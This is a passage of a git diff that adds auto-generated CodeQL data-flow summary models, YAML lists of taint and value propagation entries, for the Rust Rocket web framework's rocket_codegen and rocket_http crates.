"dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[2]", "ReturnValue.Field[crate::attribute::param::parse::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[0]", "Argument[self].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "Argument[self].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::attr]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::handler]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_dynamic", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::route::parse::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_expr", "Argument[self].Field[crate::bang::uri_parsing::ArgExpr::Expr(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::unwrap_expr", "Argument[self].Field[crate::bang::uri_parsing::ArgExpr::Expr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::bang::uri_parsing::UriLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Cased(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Uncased(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::respanned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_ref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_str", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::name::Name::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::span", "Argument[self].Field[crate::name::Name::span]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::proc_macro_ext::Diagnostics(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::head_err_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::proc_macro_ext::StringLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::syn_ext::Child::ty]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ty", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "crate::derive::form_field::first_duplicate", "Argument[0].Element", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml new file mode 100644 index 000000000000..c987027c1855 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml @@ -0,0 +1,215 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&[u8] as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&crate::path::Path as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&str as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<_ as crate::ext::IntoCollection>::mapped", "Argument[self]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::accept::QMediaType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::header::accept::QMediaType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[crate::header::accept::QMediaType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight", "Argument[self].Field[crate::header::accept::QMediaType(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[self].Field[1].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[self].Field[crate::header::accept::QMediaType(1)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[0]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::name", "Argument[self].Field[crate::header::header::Header::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::value", "Argument[self].Field[crate::header::header::Header::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::known_source", "Argument[self].Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[0]", "ReturnValue.Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[3]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::media_type::Source::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::listener]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Concrete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Concrete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::add", "Argument[0].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::add", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce_lifetime", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce_lifetime", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_cow_source", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_source", "Argument[0].Field[crate::option::Option::Some(0)].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_source", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::indices", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::indices", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_concrete", "Argument[self].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::uri::error::Error::index]", "ReturnValue.Field[crate::parse::uri::error::Error::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::index", "Argument[self].Field[crate::parse::uri::error::Error::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::borrow", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::borrow", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::split_at_byte", "Argument[self].Element", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::split_at_byte", "Argument[self]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::raw_str::RawStrBuf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_string", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_string", "Argument[self].Field[crate::raw_str::RawStrBuf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::status::Status::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::visit_i64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::visit_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_address", "Argument[self].Field[crate::tls::listener::TlsStream::remote]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Certificate::x509]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self].Field[crate::tls::mtls::Certificate::data].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::has_serial", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::tls::mtls::Error::Incomplete(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::tls::mtls::Error::Parse(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::set_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[3]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::user_info", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::fmt::formatter::Formatter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::PrefixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::SuffixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[0].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::host::Host(0)].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_authority", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::map_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", 